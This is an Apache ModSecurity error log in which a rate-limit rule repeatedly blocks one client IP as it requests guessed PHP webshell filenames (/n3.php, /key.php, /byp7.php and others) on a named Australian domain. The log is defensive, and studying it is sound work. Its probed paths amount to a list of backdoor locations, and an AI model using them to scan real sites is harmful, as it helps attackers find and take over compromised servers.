[Sat Feb 28 11:24:43.239657 2026] [:error] [pid 52460:tid 52477] [client 20.220.61.156:13250] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aaJf-7LWOogAgHGh62TONAAAAY4"]
[Sat Feb 28 11:24:43.710473 2026] [:error] [pid 39292:tid 39308] [client 20.220.61.156:13249] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aaJf-6IAO5fN7BxyqcGubQAAAM4"]
[Sat Feb 28 11:24:44.142461 2026] [:error] [pid 39184:tid 39243] [client 20.220.61.156:13294] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/key.php"] [unique_id "aaJf_FtZF9Zd_U7easDElgAAAFg"]
[Sat Feb 28 11:24:44.557935 2026] [:error] [pid 39185:tid 39267] [client 20.220.61.156:13204] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/key.php"] [unique_id "aaJf_BVE-FfM89u7BQZx7gAAAJU"]
[Sat Feb 28 11:24:45.030821 2026] [:error] [pid 52460:tid 52470] [client 20.220.61.156:13240] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/key.php"] [unique_id "aaJf_bLWOogAgHGh62TOOwAAAYc"]
[Sat Feb 28 11:24:45.543302 2026] [:error] [pid 39185:tid 39248] [client 20.220.61.156:13290] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/key.php"] [unique_id "aaJf_RVE-FfM89u7BQZx9AAAAII"]
[Sat Feb 28 11:24:46.009062 2026] [:error] [pid 52460:tid 52467] [client 20.220.61.156:13130] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/667.php"] [unique_id "aaJf_rLWOogAgHGh62TOPgAAAYQ"]
[Sat Feb 28 11:24:46.628665 2026] [:error] [pid 22194:tid 22212] [client 20.220.61.156:13189] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/667.php"] [unique_id "aaJf_n6mbajs3bzQGysjVAAAAVA"]
[Sat Feb 28 11:24:47.231310 2026] [:error] [pid 11791:tid 11815] [client 20.220.61.156:13186] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/667.php"] [unique_id "aaJf_2uX5e1Q32gqxH3mPwAAARY"]
[Sat Feb 28 11:24:47.793969 2026] [:error] [pid 39185:tid 39261] [client 20.220.61.156:13187] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/667.php"] [unique_id "aaJf_xVE-FfM89u7BQZx-gAAAI8"]
[Sat Feb 28 11:24:48.398157 2026] [:error] [pid 52460:tid 52470] [client 20.220.61.156:13195] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctfbe.php"] [unique_id "aaJgALLWOogAgHGh62TOSQAAAYc"]
[Sat Feb 28 11:24:48.827052 2026] [:error] [pid 39185:tid 39247] [client 20.220.61.156:13255] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctfbe.php"] [unique_id "aaJgABVE-FfM89u7BQZx_wAAAIE"]
[Sat Feb 28 11:24:49.258271 2026] [:error] [pid 22194:tid 22217] [client 20.220.61.156:13266] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctfbe.php"] [unique_id "aaJgAX6mbajs3bzQGysjWwAAAVU"]
[Sat Feb 28 11:24:49.701222 2026] [:error] [pid 52460:tid 52472] [client 20.220.61.156:13133] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctfbe.php"] [unique_id "aaJgAbLWOogAgHGh62TOTwAAAYk"]
[Sat Feb 28 11:24:50.219645 2026] [:error] [pid 52460:tid 52475] [client 20.220.61.156:13286] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hkweu.php"] [unique_id "aaJgArLWOogAgHGh62TOUwAAAYw"]
[Sat Feb 28 11:24:50.703793 2026] [:error] [pid 22194:tid 22211] [client 20.220.61.156:13292] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hkweu.php"] [unique_id "aaJgAn6mbajs3bzQGysjXgAAAU8"]
[Sat Feb 28 11:24:51.155045 2026] [:error] [pid 22194:tid 22206] [client 20.220.61.156:13305] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hkweu.php"] [unique_id "aaJgA36mbajs3bzQGysjYQAAAUo"]
[Sat Feb 28 11:24:51.662522 2026] [:error] [pid 39292:tid 39313] [client 20.220.61.156:13281] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hkweu.php"] [unique_id "aaJgA6IAO5fN7BxyqcGudAAAANM"]
[Sat Feb 28 11:24:52.123080 2026] [:error] [pid 39185:tid 39253] [client 20.220.61.156:13280] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qdlte.php"] [unique_id "aaJgBBVE-FfM89u7BQZyBgAAAIc"]
[Sat Feb 28 11:24:52.768054 2026] [:error] [pid 52460:tid 52470] [client 20.220.61.156:13190] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qdlte.php"] [unique_id "aaJgBLLWOogAgHGh62TOXAAAAYc"]
[Sat Feb 28 11:24:53.648705 2026] [:error] [pid 52460:tid 52464] [client 20.220.61.156:13188] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qdlte.php"] [unique_id "aaJgBbLWOogAgHGh62TOYwAAAYE"]
[Sat Feb 28 11:24:54.317067 2026] [:error] [pid 39185:tid 39258] [client 20.220.61.156:13136] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qdlte.php"] [unique_id "aaJgBhVE-FfM89u7BQZyEAAAAIw"]
[Sat Feb 28 11:24:55.287319 2026] [:error] [pid 11791:tid 11794] [client 20.220.61.156:13284] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f7.php"] [unique_id "aaJgB2uX5e1Q32gqxH3mVgAAAQE"]
[Sat Feb 28 11:24:56.145769 2026] [:error] [pid 39183:tid 39208] [client 20.220.61.156:13248] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f7.php"] [unique_id "aaJgCBCf4HvhVePw3LbXsAAAABA"]
[Sat Feb 28 11:24:56.734951 2026] [:error] [pid 39292:tid 39298] [client 20.220.61.156:13262] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f7.php"] [unique_id "aaJgCKIAO5fN7BxyqcGuewAAAMQ"]
[Sat Feb 28 11:24:57.168963 2026] [:error] [pid 52460:tid 52466] [client 20.220.61.156:13238] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f7.php"] [unique_id "aaJgCbLWOogAgHGh62TOcQAAAYM"]
[Sat Feb 28 11:24:57.604030 2026] [:error] [pid 11791:tid 11816] [client 20.220.61.156:13252] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aaJgCWuX5e1Q32gqxH3mYQAAARc"]
[Sat Feb 28 11:24:58.126250 2026] [:error] [pid 11791:tid 11797] [client 20.220.61.156:13130] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aaJgCmuX5e1Q32gqxH3mZAAAAQQ"]
[Sat Feb 28 11:24:58.623224 2026] [:error] [pid 52460:tid 52471] [client 20.220.61.156:13197] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aaJgCrLWOogAgHGh62TOewAAAYg"]
[Sat Feb 28 11:24:59.195060 2026] [:error] [pid 39185:tid 39252] [client 20.220.61.156:13233] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aaJgCxVE-FfM89u7BQZyHwAAAIY"]
[Sat Feb 28 11:24:59.647611 2026] [:error] [pid 39183:tid 39194] [client 20.220.61.156:13231] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp7.php"] [unique_id "aaJgCxCf4HvhVePw3LbXsgAAAAI"]
[Sat Feb 28 11:25:00.300239 2026] [:error] [pid 11791:tid 11815] [client 20.220.61.156:13257] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp7.php"] [unique_id "aaJgDGuX5e1Q32gqxH3mawAAARY"]
[Sat Feb 28 11:25:00.992131 2026] [:error] [pid 52460:tid 52463] [client 20.220.61.156:13167] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp7.php"] [unique_id "aaJgDLLWOogAgHGh62TOhwAAAYA"]
[Sat Feb 28 11:25:01.502580 2026] [:error] [pid 22194:tid 22206] [client 20.220.61.156:13227] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp7.php"] [unique_id "aaJgDX6mbajs3bzQGysjcAAAAUo"]
[Sat Feb 28 11:25:01.978139 2026] [:error] [pid 11791:tid 11808] [client 20.220.61.156:13173] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/C1.php"] [unique_id "aaJgDWuX5e1Q32gqxH3mbQAAAQ8"]
[Sat Feb 28 11:25:02.679820 2026] [:error] [pid 39185:tid 39263] [client 20.220.61.156:13303] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/C1.php"] [unique_id "aaJgDhVE-FfM89u7BQZyLwAAAJE"]
[Sat Feb 28 11:25:03.245746 2026] [:error] [pid 52460:tid 52485] [client 20.220.61.156:13217] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/C1.php"] [unique_id "aaJgD7LWOogAgHGh62TOlgAAAZY"]
[Sat Feb 28 11:25:03.899228 2026] [:error] [pid 22194:tid 22214] [client 20.220.61.156:13199] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/C1.php"] [unique_id "aaJgD36mbajs3bzQGysjdQAAAVI"]
[Sat Feb 28 11:25:04.546568 2026] [:error] [pid 39292:tid 39307] [client 20.220.61.156:13228] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clcdu.php"] [unique_id "aaJgEKIAO5fN7BxyqcGuhQAAAM0"]
[Sat Feb 28 11:25:05.427519 2026] [:error] [pid 52460:tid 52465] [client 20.220.61.156:13275] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clcdu.php"] [unique_id "aaJgEbLWOogAgHGh62TOrgAAAYI"]
[Sat Feb 28 11:25:06.241506 2026] [:error] [pid 52460:tid 52474] [client 20.220.61.156:13277] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clcdu.php"] [unique_id "aaJgErLWOogAgHGh62TOugAAAYs"]
[Sat Feb 28 11:25:06.904498 2026] [:error] [pid 39185:tid 39254] [client 20.220.61.156:13154] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clcdu.php"] [unique_id "aaJgEhVE-FfM89u7BQZyRwAAAIg"]
[Sat Feb 28 11:25:07.526651 2026] [:error] [pid 39185:tid 39255] [client 20.220.61.156:13229] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffbsq.php"] [unique_id "aaJgExVE-FfM89u7BQZySwAAAIk"]
[Sat Feb 28 11:25:08.161783 2026] [:error] [pid 39185:tid 39261] [client 20.220.61.156:13278] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffbsq.php"] [unique_id "aaJgFBVE-FfM89u7BQZyUQAAAI8"]
[Sat Feb 28 11:25:08.743296 2026] [:error] [pid 52460:tid 52470] [client 20.220.61.156:13192] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffbsq.php"] [unique_id "aaJgFLLWOogAgHGh62TOxwAAAYc"]
[Sat Feb 28 11:25:09.198891 2026] [:error] [pid 52460:tid 52480] [client 20.220.61.156:13309] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffbsq.php"] [unique_id "aaJgFbLWOogAgHGh62TOywAAAZE"]
[Sat Feb 28 11:25:09.730821 2026] [:error] [pid 39184:tid 39222] [client 20.220.61.156:13259] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/resp.php"] [unique_id "aaJgFVtZF9Zd_U7easDEngAAAEM"]
[Sat Feb 28 11:25:10.256736 2026] [:error] [pid 39185:tid 39268] [client 20.220.61.156:13298] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/resp.php"] [unique_id "aaJgFhVE-FfM89u7BQZyYgAAAJY"]
[Sat Feb 28 11:25:10.703603 2026] [:error] [pid 39292:tid 39303] [client 20.220.61.156:13120] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/resp.php"] [unique_id "aaJgFqIAO5fN7BxyqcGukwAAAMk"]
[Sat Feb 28 11:25:11.129765 2026] [:error] [pid 39183:tid 39213] [client 20.220.61.156:13293] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/resp.php"] [unique_id "aaJgFxCf4HvhVePw3LbXtQAAABU"]
[Sat Feb 28 11:25:11.676876 2026] [:error] [pid 39185:tid 39261] [client 20.220.61.156:13292] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaJgFxVE-FfM89u7BQZyaAAAAI8"]
[Sat Feb 28 11:25:12.115539 2026] [:error] [pid 52460:tid 52464] [client 20.220.61.156:13203] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaJgGLLWOogAgHGh62TO3QAAAYE"]
[Sat Feb 28 11:25:12.542106 2026] [:error] [pid 22194:tid 22219] [client 20.220.61.156:13253] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaJgGH6mbajs3bzQGysjgAAAAVc"]
[Sat Feb 28 11:25:13.005704 2026] [:error] [pid 22194:tid 22211] [client 20.220.61.156:13058] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaJgGX6mbajs3bzQGysjgQAAAU8"]
[Sat Feb 28 11:25:13.486485 2026] [:error] [pid 39185:tid 39254] [client 20.220.61.156:13220] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaJgGRVE-FfM89u7BQZycgAAAIg"]
[Sat Feb 28 11:25:14.047649 2026] [:error] [pid 39183:tid 39214] [client 20.220.61.156:13241] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaJgGhCf4HvhVePw3LbXtwAAABY"]
